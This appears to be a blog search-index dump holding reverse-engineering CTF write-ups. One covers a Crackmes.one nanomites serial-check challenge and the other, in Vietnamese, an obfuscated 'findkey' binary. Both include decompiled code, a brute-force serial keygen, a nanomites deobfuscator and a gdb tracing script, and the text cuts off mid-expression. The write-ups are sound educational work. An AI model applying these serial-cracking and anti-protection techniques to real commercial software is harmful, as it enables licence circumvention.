20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 bool __stdcall check(int a1, _CONTEXT *context) { DWORD EFlags; // ecx bool result; // al char v4; // dl DWORD v5; // eax EFlags = context-\u0026gt;EFlags; switch ( *(_DWORD *)(a1 + 4) ) { case 1: EFlags \u0026gt;\u0026gt;= 6; goto LABEL_12; case 2: return 1; case 3: EFlags \u0026gt;\u0026gt;= 7; goto LABEL_3; case 4: goto LABEL_12; case 5: v4 = 1; if ( (EFlags \u0026amp; 0x40) == 0 \u0026amp;\u0026amp; (((unsigned __int8)(EFlags \u0026gt;\u0026gt; 7) ^ (unsigned __int8)(context-\u0026gt;EFlags \u0026gt;\u0026gt; 11)) \u0026amp; 1) == 0 ) { return 0; } return v4; case 6: return (EFlags \u0026amp; 0x41) == 0; case 7: LOBYTE(v5) = ~(unsigned __int8)(EFlags \u0026gt;\u0026gt; 11); return ((EFlags \u0026gt;\u0026gt; 7) ^ v5) \u0026amp; 1; case 8: EFlags \u0026gt;\u0026gt;= 2; goto LABEL_3; case 9: EFlags \u0026gt;\u0026gt;= 11; goto LABEL_3; case 0xA: return (EFlags \u0026amp; 0x41) != 0; case 0xB: return context-\u0026gt;Ecx == 0; case 0xC: EFlags \u0026gt;\u0026gt;= 2; goto LABEL_12; case 0xD: EFlags \u0026gt;\u0026gt;= 6; goto LABEL_3; case 0xE: v5 = EFlags \u0026gt;\u0026gt; 11; return ((EFlags \u0026gt;\u0026gt; 7) ^ v5) \u0026amp; 1; case 0xF: EFlags \u0026gt;\u0026gt;= 7; goto LABEL_12; case 0x10: EFlags \u0026gt;\u0026gt;= 11; LABEL_12: LOBYTE(EFlags) = ~(_BYTE)EFlags; goto LABEL_3; case 0x11: v4 = 1; if ( (EFlags \u0026amp; 0x40) != 0 || (((unsigned __int8)(EFlags \u0026gt;\u0026gt; 7) ^ (unsigned __int8)(context-\u0026gt;EFlags \u0026gt;\u0026gt; 11)) \u0026amp; 1) != 0 ) { return 0; } return v4; case 0x12: LABEL_3: result = EFlags \u0026amp; 1; break; default: result = 0; break; } return result; } The logic is not that hard, it is a little bit lengthy. For example, the first one simulates the JNE/JNZ instruction You do not have to remember these signatures, just googling them This is what you get after reversing the function, given in the format (name, short jump, near jump)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 jcc = { 1: (\u0026#39;JNE\u0026#39;, b\u0026#39;\\x75\u0026#39;, b\u0026#39;\\x0F\\x85\u0026#39;), 2: (\u0026#39;JMP\u0026#39;, b\u0026#39;\\xEB\u0026#39;, b\u0026#39;\\xE9\u0026#39;), 3: (\u0026#39;JS\u0026#39;, b\u0026#39;\\x78\u0026#39;, b\u0026#39;\\x0F\\x88\u0026#39;), 4: (\u0026#39;JNC\u0026#39;, b\u0026#39;\\x73\u0026#39;, b\u0026#39;\\x0F\\x83\u0026#39;), 5: (\u0026#39;JLE\u0026#39;, b\u0026#39;\\x7E\u0026#39;, b\u0026#39;\\x0F\\x8E\u0026#39;), 6: (\u0026#39;JA\u0026#39;, b\u0026#39;\\x77\u0026#39;, b\u0026#39;\\x0F\\x87\u0026#39;), 7: (\u0026#39;JGE\u0026#39;, b\u0026#39;\\x7D\u0026#39;, b\u0026#39;\\x0F\\x8D\u0026#39;), 8: (\u0026#39;JP\u0026#39;, b\u0026#39;\\x7A\u0026#39;, b\u0026#39;\\x0F\\x8A\u0026#39;), 9: (\u0026#39;JO\u0026#39;, b\u0026#39;\\x70\u0026#39;, b\u0026#39;\\x0F\\x80\u0026#39;), 10: (\u0026#39;JBE\u0026#39;, b\u0026#39;\\x76\u0026#39;, b\u0026#39;\\x0F\\x86\u0026#39;), 11: (\u0026#39;JECXZ\u0026#39;, b\u0026#39;\\xE3\u0026#39;, None), 12: (\u0026#39;JNP\u0026#39;, b\u0026#39;\\x7B\u0026#39;, b\u0026#39;\\x0F\\x8B\u0026#39;), 13: (\u0026#39;JE\u0026#39;, b\u0026#39;\\x74\u0026#39;, b\u0026#39;\\x0F\\x84\u0026#39;), 14: (\u0026#39;JL\u0026#39;, b\u0026#39;\\x7C\u0026#39;, b\u0026#39;\\x0F\\x8C\u0026#39;), 15: (\u0026#39;JNS\u0026#39;, b\u0026#39;\\x79\u0026#39;, b\u0026#39;\\x0F\\x89\u0026#39;), 16: (\u0026#39;JNO\u0026#39;, b\u0026#39;\\x71\u0026#39;, b\u0026#39;\\x0F\\x81\u0026#39;), 17: (\u0026#39;JG\u0026#39;, b\u0026#39;\\x7F\u0026#39;, b\u0026#39;\\x0F\\x8F\u0026#39;), 18: (\u0026#39;JC\u0026#39;, b\u0026#39;\\x72\u0026#39;, b\u0026#39;\\x0F\\x82\u0026#39;) } So int 3 will be replaced by one of these jcc instructions. So how does it change? Well remember the hard-coded mapping table that I mentioned? You can dump these values by looking into the mapping table initialization located at 4045A7h.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __thiscall sub_4045A7(char *this, unsigned int *a2) { unsigned int v2; // ebx unsigned int *v3; // edi char v4[8]; // [esp+4h] [ebp-Ch] BYREF int *v5; // [esp+Ch] [ebp-4h] v5 = (int *)(this + 64); sub_404CD0((_DWORD *)this + 16); if ( a2 \u0026amp;\u0026amp; *a2 ) { v2 = 0; v3 = a2 + 2; do { ++v2; *(_DWORD *)(*(_DWORD *)sub_403CD7(v5, (int)v4, v3) + 20) = v3; v3 += 4; } while ( v2 \u0026lt; *a2 ); } } The call instruction at 4045DAh is the STL map insert function. Basically, it uses the STL map to store and query data, but we just need data. So the solution was first set up a breakpoint at 4045DAh and then follow in dump the value stored in EDI\nSo the data is given in the (address offset, type, jump offset, instruction size) format which is\n1 2 3 4 00 A0 00 00 01 00 00 00 2F 00 00 00 02 00 00 00 01 A0 00 00 12 00 00 00 49 00 00 00 02 00 00 00 02 A0 00 00 0A 00 00 00 72 00 00 00 02 00 00 00 // truncated Another small technique used in this binary is anti-disassembly, it looks like this\n1 2 3 jmp loc+1 loc: // some really meaningless instruction go here The idea is simple, disassemblers often translate bytecode into assembly in order. So if we insert a junk byte between two instructions and somehow make the runtime skip it (or else we can get crashed). The disassemblers like IDA still translate and get confused. And the solution to make CPU skip that junk byte is the jump instruction. In order to fix dodge this, we can modify all junk bytes into nop opcode\nSo basically challenge\u0026rsquo;s execution flow is:\nNote The execution initiates with the dynamic initialization of the ChaCha20 Key, alongside the registeration of a custom SEH The ChaCha20 decryption process for the .pc section comes right after our serial key is submitted The following execution contains a lot of breakpoint exception, which will be replaced by the jcc instruction The serial has a length of 19 which is hashed into 5 different chunks and compared with fixed values initialized in the first function in the .pc section The hash algorithm is pretty simple to crack by just a normal brute-forcing attack By chaining all the pieces, you can deobfuscate this amazing challenge. Now is the play of hashing algorithm\nThis is where the 5 hard-coded constant be initialized\n1 2 3 4 5 6 7 8 9 serial_obj14 *__thiscall encrypted_stuff(serial_obj14 *this) { this-\u0026gt;first = 0x865DBB47; this-\u0026gt;second = 0xA6EB190; this-\u0026gt;third = 0x20476C33; this-\u0026gt;four = 0x1C8A7693; this-\u0026gt;five = 0x59FEBDFB; return this; } And the validatioj algorithm is\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 bool __thiscall validate_hash_value(serial_obj14 *obj, char *serial) { HCRYPTPROV *inited; // eax int hash_mask; // [esp+1Ch] [ebp-10h] int hash_value; // [esp+20h] [ebp-Ch] int counter; // [esp+24h] [ebp-8h] int program_flag; // [esp+28h] [ebp-4h] if ( !serial || strlen(serial) != 19 ) return 0; program_flag = 0; counter = 0; hash_mask = 0; hash_value = 0xCAFEBABE; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { inited = init_crypto_context(); handler_crypto_context((int)inited); if ( program_flag ) break; program_flag = 1; } if ( program_flag != 1 ) break; hash_value = calc_next_hash(hash_value, serial[counter++]); if ( counter % 4 ) { if ( counter == 19 ) program_flag = 3; else program_flag = 1; } else { program_flag = 2; } } if ( program_flag != 2 ) break; hash_mask |= *((_DWORD *)obj + counter / 4 - 1) ^ hash_value; hash_value = 0x112233 * counter - 0x35014542; program_flag = 1; } if ( program_flag != 3 ) break; hash_mask |= obj-\u0026gt;five ^ hash_value; if ( hash_mask ) program_flag = 5; else program_flag = 4; } return program_flag == 4; } This function divides the 19 bytes of the serial into 5 different chunks, each chunk has length of 4 bytes. Then it calculates the hash of each character consecutively based on the calc_next_hash function. Then if all chunks are matched, the serial checker is valid, our flag will be displayed We don\u0026rsquo;t have to understand what the calc_next_hash does, we can just manually simulate it in the script by looking real quick through the implementation. Then start attacking the hash, this is my solve script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #!/home/ryou/.venvs/rev/bin/python import struct import string def calc_next_hash(hash_val, character): if not isinstance(character, int): raise ValueError(\u0026#34;Character is not an integer value\u0026#34;) hash_val \u0026amp;= 0xFFFFFFFF character \u0026amp;= 0xFF if hash_val \u0026amp; 1: if (character ^ hash_val) \u0026lt;= 0x80000000: if not (97 \u0026lt;= character \u0026lt;= 122): if not (65 \u0026lt;= character \u0026lt;= 90): value = (9 * hash_val) \u0026amp; 0xFFFFFFFF else: value = (character + hash_val) \u0026amp; 0xFFFFFFFF if value \u0026amp; 0x100: value ^= 0x13371337 else: value = (hash_val - character) \u0026amp; 0xFFFFFFFF else: value = (hash_val - 0x21524111) \u0026amp; 0xFFFFFFFF if character \u0026gt; 0x60: value ^= (33 * character) \u0026amp; 0xFFFFFFFF elif character \u0026gt;= 64: if character % 2: value = (((hash_val \u0026lt;\u0026lt; 27) \u0026amp; 0xFFFFFFFF) | (hash_val \u0026gt;\u0026gt; 5)) ^ 2271560481 else: value = ((hash_val \u0026gt;\u0026gt; 29) | ((hash_val \u0026lt;\u0026lt; 3) \u0026amp; 0xFFFFFFFF)) + 0x12345678 value \u0026amp;= 0xFFFFFFFF elif character \u0026amp; 2: value = (character + (hash_val ^ 0x55AA55AA)) \u0026amp; 0xFFFFFFFF else: value = (hash_val - 16 * character) \u0026amp; 0xFFFFFFFF if character == 48: value |= 0xF0F0F0F0 for i in range((character % 5) + 2): if not (value \u0026amp; 0x80000000): hash_valueb = (value \u0026lt;\u0026lt; 1) \u0026amp; 0xFFFFFFFF else: hash_valueb = ((value \u0026lt;\u0026lt; 1) \u0026amp; 0xFFFFFFFF) ^ 0x04C11DB7 if i % 2: value = (hash_valueb + 10 * i) \u0026amp; 0xFFFFFFFF else: value = character ^ hash_valueb if ((value ^ (value \u0026gt;\u0026gt; 8) ^ (value \u0026gt;\u0026gt; 16) ^ (value \u0026gt;\u0026gt; 24)) \u0026amp; 0xF) \u0026gt; 7: return (~value) \u0026amp; 0xFFFFFFFF if value == 0: return 0xBADF00D return value charset = b\u0026#39;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_\u0026#39; def hash_crack(hash_init, target, serial_length): for a in charset: for b in charset: for c in charset: hash = hash_init hash = calc_next_hash(hash, a) hash = calc_next_hash(hash, b) hash = calc_next_hash(hash, c) if serial_length == 3: if hash == target: return chr(a) + chr(b) + chr(c) else: for d in charset: if calc_next_hash(hash, d) == target: return chr(a) + chr(b) + chr(c) + chr(d) return \u0026#34;Error\u0026#34; result_set = [ 0x865DBB47, 0xA6EB190, 0x20476C33, 0x1C8A7693, 0x59FEBDFB ] hash = 0xCAFEBABE final_serial = \u0026#34;\u0026#34; for chunk in range(5): serial = hash_crack(hash, result_set[chunk], 3 if chunk == 4 else 4) print(f\u0026#34;Founded {chunk}\u0026#39;th serial part {serial}!\u0026#34;) final_serial += serial hash = (0x112233 * (chunk + 1) * 4 - 0x35014542) \u0026amp; 0xFFFFFFFF print(final_serial) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #!/home/ryou/.venvs/rev/bin/python # key = bytearray(open(\u0026#34;keydump.bin\u0026#34;, \u0026#34;rb\u0026#34;).read()) # print(len(key)) # print(\u0026#39; \u0026#39;.join(hex(i) for i in key)) import struct jcc = { 1: (\u0026#39;JNE\u0026#39;, b\u0026#39;\\x75\u0026#39;, b\u0026#39;\\x0F\\x85\u0026#39;), 2: (\u0026#39;JMP\u0026#39;, b\u0026#39;\\xEB\u0026#39;, b\u0026#39;\\xE9\u0026#39;), 3: (\u0026#39;JS\u0026#39;, b\u0026#39;\\x78\u0026#39;, b\u0026#39;\\x0F\\x88\u0026#39;), 4: (\u0026#39;JNC\u0026#39;, b\u0026#39;\\x73\u0026#39;, b\u0026#39;\\x0F\\x83\u0026#39;), 5: (\u0026#39;JLE\u0026#39;, b\u0026#39;\\x7E\u0026#39;, b\u0026#39;\\x0F\\x8E\u0026#39;), 6: (\u0026#39;JA\u0026#39;, b\u0026#39;\\x77\u0026#39;, b\u0026#39;\\x0F\\x87\u0026#39;), 7: (\u0026#39;JGE\u0026#39;, b\u0026#39;\\x7D\u0026#39;, b\u0026#39;\\x0F\\x8D\u0026#39;), 8: (\u0026#39;JP\u0026#39;, b\u0026#39;\\x7A\u0026#39;, b\u0026#39;\\x0F\\x8A\u0026#39;), 9: (\u0026#39;JO\u0026#39;, b\u0026#39;\\x70\u0026#39;, b\u0026#39;\\x0F\\x80\u0026#39;), 10: (\u0026#39;JBE\u0026#39;, b\u0026#39;\\x76\u0026#39;, b\u0026#39;\\x0F\\x86\u0026#39;), 11: (\u0026#39;JECXZ\u0026#39;, b\u0026#39;\\xE3\u0026#39;, None), 12: (\u0026#39;JNP\u0026#39;, b\u0026#39;\\x7B\u0026#39;, b\u0026#39;\\x0F\\x8B\u0026#39;), 13: (\u0026#39;JE\u0026#39;, b\u0026#39;\\x74\u0026#39;, b\u0026#39;\\x0F\\x84\u0026#39;), 14: (\u0026#39;JL\u0026#39;, b\u0026#39;\\x7C\u0026#39;, b\u0026#39;\\x0F\\x8C\u0026#39;), 15: (\u0026#39;JNS\u0026#39;, b\u0026#39;\\x79\u0026#39;, b\u0026#39;\\x0F\\x89\u0026#39;), 16: (\u0026#39;JNO\u0026#39;, b\u0026#39;\\x71\u0026#39;, b\u0026#39;\\x0F\\x81\u0026#39;), 17: (\u0026#39;JG\u0026#39;, b\u0026#39;\\x7F\u0026#39;, b\u0026#39;\\x0F\\x8F\u0026#39;), 18: (\u0026#39;JC\u0026#39;, b\u0026#39;\\x72\u0026#39;, b\u0026#39;\\x0F\\x82\u0026#39;) } raw_map_data = bytearray(open(\u0026#34;mapdump.bin\u0026#34;, \u0026#34;rb\u0026#34;).read()) map_data = [ struct.unpack(\u0026#34;\u0026lt;IIII\u0026#34;, raw_map_data[i:i+16]) for i in range(0, len(raw_map_data), 16) ] eip = 0 decrypted_pc = bytearray.fromhex(open(\u0026#34;decrypted_pc\u0026#34;, \u0026#39;r\u0026#39;).read()) size = len(decrypted_pc) patched_byte = [] for i, opcode in enumerate(decrypted_pc): if i \u0026lt; eip: continue if opcode != 0xCC: patched_byte.append(opcode) continue base, cond, off, sz = map_data[i] mnem, short, near = jcc[cond] if sz == 0x2: insn = short + struct.pack(\u0026#34;\u0026lt;B\u0026#34;, off \u0026amp; 0xFF) else: insn = near + struct.pack(\u0026#34;\u0026lt;L\u0026#34;, off \u0026amp; 0xFFFFFFFF) patched_byte += list(insn) eip = i + sz There is a problem in this nanomites deobfuscator. There is a special case that cause an incorrect translation, for example\n1 2 3 4 0000 .byte 0xCC 0001 .byte 0x77 0002 .byte 0xCC 0003 .byte 0x77 So basically the issue is exactly similar to the anti-assembly I mentioned above. It is not always a good choice to decrypt a 0xcc because it could not even be executed during the actual runtime. So if we decrypt every 0xcc it can affect the nearby bytecode and mess up so many things. For example, if the 0xcc located at 0000 is decoded into jmp 0x3, continuing to decode the following 0xcc could break the byte at 0003 and ruin the program.\nEnd I really appreciate the contribution of Fatmike in making this such an amazing challenge, it has a very educational meaning for reverse engineer in particular and all binary analyst in general I\u0026rsquo;m also give an enormous respect to the community as well as some individuals because they have provided a great explanation and writeup about this challenge. I learnt a lots while reading your guys\u0026rsquo; blog. Thanks again!\nIf you notice any misleading informations in my blog, you could contact me! Have a good day while reversing ^_^\n","permalink":"https://ryouthecat.github.io/posts/ctf/crackmes2026/","summary":"\u003ch2 id=\"discussion-crackme9\"\u003eDiscussion Crackme9\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePrologue:\u003c/strong\u003e This is just my brief discussion about this challenge. I was not able to solve this challenge during the contest (I upsolved it later after doing some research and reading other player writeups)\u003c/p\u003e\n\u003cp\u003eBasically the solution was about to analyze the logic of the serial checker. There are several techniques implemented in the binary such as \u003ca href=\"https://github.com/Fatmike-GH/Nanomites\"\u003eNanomites\u003c/a\u003e, Dynamic API Resolution, API Hashing, and many other small anti-debugging and anti-disassembly tricks. I will not dive into how to reverse this binary. My main focus is the obfuscation itself and other interesting anti reverse engineering techniques\u003c/p\u003e","title":"Crackmes.one RE CTF 2026"},{"content":"Findkey Analyze Bài này đã bị Obfuscate CFF + biểu thức toán vô nghĩa Vì những phép toán này chắc là hằng số nên chỉ cần viết script gdb để trace ra số mà thôi. Khi đọc thì đoạn công thức toán rối đó sẽ được lưu vào thanh ghi nào đó. Vì vậy mình có thể tìm ra xu hướng thay đổi của nó\nScript\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/home/ryou/.venvs/re/bin/python from pwn import * elf = \u0026#39;./findkey\u0026#39; p = process([\u0026#39;gdb\u0026#39;, \u0026#39;-q\u0026#39;, \u0026#39;--nx\u0026#39;, elf]) def prompt(prm: bytes): p.sendlineafter(b\u0026#39;(gdb)\u0026#39;, prm) return def receive(prm: bytes): prompt(prm) return p.recvline().decode().strip() def dump(prm: bytes, endl = \u0026#39; \u0026#39;): out = receive(prm) print(out, end=endl) return bp = \u0026#39;40684B\u0026#39; trace = \u0026#39;rax\u0026#39; prompt(f\u0026#39;b * 0x{bp}\u0026#39;.encode()) shouldInFunc = False sta_func_debug = 0x405BC0 end_func_debug = 0x406DB4 if shouldInFunc: prompt(f\u0026#39;b * {end_func_debug:#x}\u0026#39;.encode()) prompt(b\u0026#39;run\u0026#39;) pattern = b\u0026#39;aaa63aaaadaaaaea\u0026#39; p.sendline(pattern) print(f\u0026#39;Input: {pattern}\\n\u0026#39;) counter = 1 while (counter := counter - 1) \u0026gt;= 0: if shouldInFunc: if int(receive(f\u0026#39;printf \u0026#34;%u\\\\n\u0026#34;, $rip\u0026#39;.encode()), 10) == end_func_debug: break dump(f\u0026#39;printf \u0026#34;%u\\\\n\u0026#34;, ${trace}\u0026#39;.encode(), \u0026#39; \u0026#39;) prompt(b\u0026#39;c\u0026#39;) print() p.close() Khi mình muốn xem giá trị của 1 cái gì đấy thì chỉ cần chỉnh lại breakpoint và thêm số lần muốn xem lại giá trị đấy là được\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 // The function seems has been flattened int __fastcall main(int argc, const char **argv, const char **envp) { n1809819584 = 1809819584; noise = 192906851; v18 = (int *)(\u0026amp;v6 - 2); v17 = 0; qmemcpy(plaintext, \u0026#34;278-362-75136019\u0026#34;, sizeof(plaintext)); expected_value[0] = 0x7780842C4DDC52D4LL; expected_value[1] = 0x710DCABA4E7D18D6LL; memset(s, 0, 0x10uLL); printf(pleaseinputyourflag); // \u0026#34;[GNJXN\\vBE[^_\\vRD^Y\\vMGJL\u0026#34; v3 = fgets(src, 256, stdin); if ( v3 ) { len_inp = strlen(src); ++noise; noise += 5; len_inp_temp = len_inp; if ( len_inp ) { v20 = \u0026amp;src[len_inp_temp - 1]; noise += 7; noise += 6; if ( *v20 == 10 ) { v21 = \u0026amp;src[len_inp_temp - 1]; noise += 7; *v21 = 0; --len_inp_temp; noise += 4; } } n16_4 = len_inp_temp; noise += 5; if ( len_inp_temp \u0026gt;= 16 ) { n16 = 16LL; } else { n16_5 = len_inp_temp; noise += 7; noise += 3; noise += 5; n16 = len_inp_temp; } n = n16; memcpy(s, src, n16); sus_func((__int64)plaintext_, (__int64)plaintext, 16); sus_func((__int64)\u0026amp;encryptionkey_, (__int64)s, 16); is_this_enc(plaintext, dest, (__int64)s); sus_func((__int64)encrypteddata_, (__int64)dest, 16); rsi_reg = expected_value; sus_func((__int64)\u0026amp;expecteddata_, (__int64)expected_value, 16); *v18 = 0; noise += 8; while ( 1 ) { n16_2 = *v18; noise += 6; if ( n16_2 \u0026gt;= 16 ) break; cur_value = *((_BYTE *)dest + *v18); noise += 8; noise += 8; rsi_reg = (_QWORD *)*((unsigned __int8 *)expected_value + *v18); if ( cur_value != (_DWORD)rsi_reg ) { ::match = 0; noise += 4; noise += 6; noise += 2; break; } noise += 8; v26 = *v18; v27 = dword_40CC84; v28 = dword_40CC88; v29 = (53 * dword_40CF24 + 7 * dword_40CF24 * dword_40CF24 + 44) * dword_40CC8C + (((dword_40CCA8 \u0026amp; dword_40CCA4) + 163 * (dword_40CCA0 ^ dword_40CC9C)) ^ 0x3B2C) * dword_40CC8C * dword_40CC8C; v30 = (((unsigned int)dword_40CCB0 \u0026gt;\u0026gt; 3) | (32 * dword_40CCAC)) ^ 0xFFFFF76D; noise += 2; noise += 6; rsi_reg = (_QWORD *)(dword_40CCE4 \u0026amp; (unsigned int)dword_40CCE0); *v18 = (((_DWORD)rsi_reg + 100 * (dword_40CCDC ^ dword_40CCD8)) ^ 0xA1C8F311) + (((14 * (dword_40CCD4 + 48)) ^ 0x3A) + 1045) * dword_40CC98 + (31642 * dword_40CCD0 + 24991 * dword_40CCCC - 252842937) * dword_40CC94 + (((((unsigned int)dword_40CCC8 \u0026gt;\u0026gt; 3) | (32 * dword_40CCC4)) ^ 0xFFF8B795) + ((((unsigned int)dword_40CCC0 \u0026gt;\u0026gt; 3) | (32 * dword_40CCBC)) ^ 0xFE773) * dword_40CC90 + ((((unsigned int)dword_40CCB8 \u0026gt;\u0026gt; 3) | (32 * dword_40CCB4)) ^ 0x18B65) * dword_40CC90 * dword_40CC90) * dword_40CC88 + (v30 + v29) * dword_40CC84 + v26; } match = ::match; noise += 9; noise += 3; if ( ::match ) { printf(\u0026amp;sucess, rsi_reg, (unsigned int)::match); noise += 2; noise += 7; noise += 5; } ............ } Ở đây thì mình thấy đã có plaintext và expected data rồi, việc của mình là đi reverse hàm is_this_enc để coi thử logic của nó là gì\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 // The function seems has been flattened _QWORD *__fastcall is_this_enc(_QWORD *p_plaintext, _QWORD *p_arg_dest, __int64 program_inp) { plaintext_1 = p_plaintext; dest_1 = p_arg_dest; s_1 = program_inp; n115814123 = 115814123; _ = 2008905965; dest_6 = \u0026amp;v5 - 2; p_plaintext2 = p_plaintext; dest_2 = p_arg_dest; s_2 = program_inp; initialize_whitesbox(); kinda_sus(s_2, (__int64)destination); dest = *p_plaintext2; v21 = p_plaintext2[1]; xor16Bytes((__int64)\u0026amp;dest, (__int64)destination); counter = 1; for ( _ += 7; ; _ += 7 ) { n9_6 = counter; _ += 4; if ( counter \u0026gt;= 9 ) break; transferFirst16WhiteBox((__int64)\u0026amp;dest); cook_some_swap(\u0026amp;dest); what_da_hell((__int64)\u0026amp;dest); p_dest = \u0026amp;dest; dest_5 = destination; n9_1 = counter; v8 = dword_40CA14 \u0026lt;\u0026lt; (((48 * (dword_40CA90 + 86)) ^ 0x2C) + 9); v30 = ((((38 * (dword_40CA94 + 69)) ^ 0x2E) + 730372) ^ (((unsigned int)dword_40CA18 \u0026gt;\u0026gt; (6 * dword_40CF20 + 27 * dword_40CF20 * dword_40CF20 + 3)) | v8)) + dword_40C9F8; v31 = dword_40CA1C; v32 = dword_40CA20; v33 = dword_40CA98; v34 = dword_40CA9C; _ += 6; xor16Bytes( (__int64)\u0026amp;dest, (__int64)\u0026amp;destination[(((12 * (dword_40CACC + 73)) ^ 0xEC) - 654606840 + (11524 * dword_40CAC8 + 9446 * dword_40CAC4 - 306348074) * dword_40CA38 + (((dword_40CAC0 \u0026amp; dword_40CABC) + 26 * (dword_40CAB8 ^ dword_40CAB4)) ^ 0x4B02) * dword_40CA34 + ((((6 * (dword_40CAB0 + 3)) ^ 0x82) + 9930) ^ ((dword_40CA30 \u0026amp; dword_40CA2C) + (28 * dword_40CAAC + 23 * dword_40CAAC * dword_40CAAC - 131269) * (dword_40CA28 ^ dword_40CA24)) ^ (((dword_40CAA8 \u0026lt;\u0026lt; 6) + 19 * dword_40CAA8 * dword_40CAA8 - 343928242 + (20341 * dword_40CAA4 + 13717 * dword_40CAA0 - 762217776) * dword_40CA20 + ((((unsigned int)dword_40CA9C \u0026gt;\u0026gt; 3) | (32 * dword_40CA98)) ^ 0xD1A4F) * dword_40CA1C) * v30))) * counter]); _ += 4; n9_2 = counter; v36 = dword_40C9FC; v7 = dword_40CA3C \u0026lt;\u0026lt; (116 * dword_40CAD4 - 68 * dword_40CAD0 + 89); v37 = (((dword_40CAEC \u0026amp; dword_40CAE8) + 208 * (dword_40CAE4 ^ dword_40CAE0)) ^ 0xC46AA ^ (((unsigned int)dword_40CA40 \u0026gt;\u0026gt; (78 * dword_40CADC + 126 * dword_40CAD8 + 63)) | v7)) * dword_40C9FC * dword_40C9FC; _ += 9; v6 = ((((dword_40CB10 \u0026amp; dword_40CB0C) + 48 * (dword_40CB08 ^ dword_40CB04)) ^ 0xFFFFFB1D) + ((58 * dword_40CB00 + 32 * dword_40CB00 * dword_40CB00 - 43342) ^ (((((unsigned int)dword_40CAFC \u0026gt;\u0026gt; 3) | (32 * dword_40CAF8)) ^ 0xCFF02) * (18965 * dword_40CAF4 + 31409 * dword_40CAF0 - 853506882 + dword_40CA44)))) * dword_40C9FC + v37; counter += ((10485 * dword_40CB20 + 10263 * dword_40CB1C - 185256078) ^ (((unsigned int)dword_40CA4C \u0026gt;\u0026gt; (75 * dword_40CB18 + 31 * dword_40CB18 * dword_40CB18 + 57)) | (dword_40CA48 \u0026lt;\u0026lt; (71 * dword_40CB14 + 18 * dword_40CB14 * dword_40CB14 - 13)))) + v6; } n9_3 = 9; transferFirst16WhiteBox((__int64)\u0026amp;dest); _ += 3; ++_; cook_some_swap(\u0026amp;dest); memcpy(desta, \u0026amp;src_, sizeof(desta)); n16 = 0; for ( _ += 8; ; _ += 9 ) { n16_2 = n16; _ += 6; _ += 6; if ( n16 \u0026gt;= 16 ) break; dest_10 = dest_6; *dest_6 = 0xFC2C4EB7D23BA45LL; dest_10[1] = 0xB464F693616239DALL; *((_BYTE *)dest_6 + n16) = 0; what_da_hell((__int64)dest_6); dest_7 = dest_6; dest_8 = destination; n9_4 = n9_3; v42 = dword_40CA00; v43 = dword_40CA00 * dword_40CA00; v44 = (((dword_40CB40 \u0026amp; dword_40CB3C) + 154 * (dword_40CB38 ^ dword_40CB34)) ^ 0x5D62) * dword_40CA54 + (((dword_40CB30 \u0026amp; dword_40CB2C) + 38 * (dword_40CB28 ^ dword_40CB24)) ^ 0x161) * dword_40CA50; v45 = dword_40CB44; v46 = dword_40CB48; v47 = dword_40CB4C; v48 = dword_40CB50; _ += 4; xor16Bytes( (__int64)dest_7, (__int64)\u0026amp;dest_8[(((((unsigned int)dword_40CB78 \u0026gt;\u0026gt; 3) | (32 * dword_40CB74)) ^ 0xA210E9BA) + (30 * dword_40CB70 + 21 * dword_40CB70 * dword_40CB70 - 5592) * dword_40CA6C + (57 * dword_40CB6C + 42 * dword_40CB6C * dword_40CB6C - 71897) * dword_40CA68 + ((((unsigned int)dword_40CB68 \u0026gt;\u0026gt; 3) | (32 * dword_40CB64)) ^ 0xE61F1 ^ ((dword_40CA64 \u0026amp; dword_40CA60) + (((dword_40CB60 \u0026amp; dword_40CB5C) + 114 * (dword_40CB58 ^ dword_40CB54)) ^ 0x218A) * (dword_40CA5C ^ dword_40CA58))) * v42 + ((((v48 \u0026amp; v47) + 3 * (v46 ^ v45)) ^ 0xF732260E) + v44) * v43) * 